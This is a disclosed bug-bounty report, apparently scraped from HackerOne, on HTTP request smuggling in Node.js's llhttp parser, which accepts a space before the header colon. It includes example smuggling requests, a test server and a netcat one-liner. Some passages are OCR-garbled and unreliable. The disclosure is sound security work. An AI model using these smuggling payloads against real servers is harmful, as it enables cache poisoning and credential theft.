# 17 HTTP Request Smuggling due to accepting space before colon

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TIMELINE

kg submitted a report to Node.js.

Jun 20th (about 1 year ago)

#### Summary:

The 11http parser in the http module in Node 16.3.0 accepts requests with a space (SP) right after the header name before the colon. This can lead to HTTP Request Smuggling (HRS).

### Description:

When Node receives the following request:

```
Code 61 Bytes Wrap lines Copy Download

1 GET / HTTP/1.1

2 Host: localhost:5000

3 Content-Length: 5

4

5 hello
```

It interprets the request as having the body hello. Here is the relevant section of the code: https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L410-L415

How could this lead to HRS? Imagine that Node is placed behind a proxy which ignores the CL header with a space before the colon, but forwards it as is. Then the following attack can be performed:

```
Code 123 Bytes Wraplines Copy Download

1 GET / HTTP/1.1

2 Host: localhost:5000

3 Content-Length: 23

4

5 GET / HTTP/1.1

6 Dummy: GET / smuggled HTTP/1.1

7 Host: localhost:5000

8
```

The proxy would see the first and the second GET-request. But Node would see the first and the third GET-request.

## Steps To Reproduce

 $We don't know of any proxy that behaves this way, but here is how to show that Node is behaving in the described way. Run the following code like this: \\ lode \\ app.js$ 

```
Code 568 Bytes
                                                                                                                                  Wrap lines Copy Download
  1 const http = require('http');
  3 // https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
  5 http.createServer((request, response) => {
  6 let body = [];
  7 request.on('error', (err) => {
        response.end("error while reading body: " + err)
  9 }).on('data', (chunk) => {
  10
        body.push(chunk);
  11 }).on('end', () => {
  12
       body = Buffer.concat(body).toString();
  13
  14
        response.on('error', (err) => {
  15
            response.end("error while sending response: " + err)
 16
  17
  18
        response.end("Body length: " + body.length.toString() + " Body: " + body);
  19 });
  20 }).listen(5000);
```

 $Then send a \, request \, with \, a \, space \, between \, the \, CL \, header \, and \, the \, colon. \, This \, can \, be \, done \, with \, the \, following \, one-liner: \, colon \, a \, colon \, col$ 

Code 104 Bytes Wrap lines Copy Download

1 echo -en "GET / HTTP/1.1\r\nHost: localhost:5000\r\nContent-Length : 5\r\n\r\nhello" | nc localhost 5000

See that Node interpreted the body as hello.

# Supporting Material/References:

 $Relevant\ section\ of\ RFC\ 7230\ (second\ paragraph\ of\ https://datatracker.ietf.org/doc/html/rfc7230\#section-3.2.4):$ 

```
Code 490 Bytes

Wrap lines Copy Download

No whitespace is allowed between the header field-name and colon. In

the past, differences in the handling of such whitespace have led to
```

- of 400 (Bad Request). A proxy MUST remove any such whitespace from a
- 7 response message before forwarding the message downstream.

### Impact

Depending on the specific web application, HRS can lead to cache poisoning, by passing of security layers, stealing of credentials and so on.

O- mkg invited another hacker as a collaborator.

Jun 20th (about 1 year ago)

- astraol joined this report as a collaborator.

Jun 20th (about 1 year ago)

| kumarak39 | Node | staff | posted a comment.

The parsing of header fields does not seem in line with the RFC. The lihtpd should not ignore white spaces between header fields name and colon.

 $Iam \, curious \, what \, would \, be \, a \, specific \, case \, where \, the \, proxy \, will \, ignore \, CL \, and \, forward \, the \, requests \, to \, the \, node. \, It \, will \, be \, great \, if \, you \, could \, provide \, an \, example \, of \, it. \, and \, if \, it is a constant of the \, it is a constant of the \, it is a constant of the index of$ 

Jun 23rd (about 1 year ago)
We have investigated the latest version of the most popular proxies (Nginx, Apache HTTP Server, Haproxy) and found that they don't have the specific behavior
required for the attack. That is, to forward requests with Content-Length: 123. But we haven't investigated all proxies that exist. There could also be older versions of
proxies with the specific behavior. So unfortunately we can't give you an example.

To clarify: the required behavior in the proxy would also be a bug.

There has however been earlier Request Smuggling research by Regilero where he found several issues based on space + colon:

- Apache Traffic Server CVE-2018-8004
- Apache HTTP Server (httpd) CVE-2016-8743
- Varnish4 2016


Thanks, @mkg for reporting!

Here is the source: https://hackerone.com/reports/648434

Interestingly, Regilero has also reported this exact issue to Node earlier, together with a bunch of other issues (See the above h1-report). They were collectively assigned CVE-2016-2086. All of the issues were fixed, except for the space + colon issue. Here are some related links:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2086
- https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/
- https://github.com/nodejs/http-parser/commit/e2e467b91262246b339fb3d80c8408d498b4a43b <-- This seems to be the commit which fixed the issues.

Mattias & Asta



O-The Internet Bug Bounty rewarded astraol with a \$125 bounty.	Oct 20th (about 1 year ago)
O—The Internet Bug Bounty rewarded mkg with a \$125 bounty.	Oct 20th (about 1 year ago)
kg posted a comment. Thanks for the bounty:) I don't know how you accept the "request for disclosure", but we are fine with disclosing this now.	Oct 20th (about 1 year ago)
Think from the dropdown at the bottom where you see "add comment"	Oct 20th (about 1 year ago)
— mkg agreed to disclose this report.	Oct 20th (about 1 year ago)
O= This report has been disclosed.	Oct 20th (about 1 year ago)